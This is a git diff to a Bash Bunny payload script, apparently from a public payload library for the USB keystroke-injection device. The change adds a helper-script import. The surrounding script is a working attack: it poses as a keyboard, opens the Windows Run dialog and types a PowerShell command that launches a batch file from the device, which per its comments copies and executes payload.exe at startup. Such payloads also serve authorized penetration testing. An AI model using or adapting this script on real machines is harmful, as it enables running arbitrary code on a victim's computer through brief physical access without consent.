diff --git a/payloads/library/ExecutableInstaller/payload.txt b/payloads/library/ExecutableInstaller/payload.txt
index 4b6aded..8837d02 100644
--- a/payloads/library/ExecutableInstaller/payload.txt
+++ b/payloads/library/ExecutableInstaller/payload.txt
@@ -10,11 +10,14 @@
 # which in turn copies payload.exe from the root of the Bash Bunny and then executes it
 # using the --startup parameter. Change these settings inside of e.cmd.
 #
+
+# Source bunny_helpers.sh to get environment variable SWITCH_POSITION
+source bunny_helpers.sh
+
 LED R
 ATTACKMODE HID STORAGE
 QUACK GUI r
 QUACK DELAY 100
-# TODO: Verify $SWITCH_POSITION
 QUACK STRING powershell ".((gwmi win32_volume -f 'label=''BashBunny''').Name+'payloads\$SWITCH_POSITION\d.cmd')"
 QUACK ENTER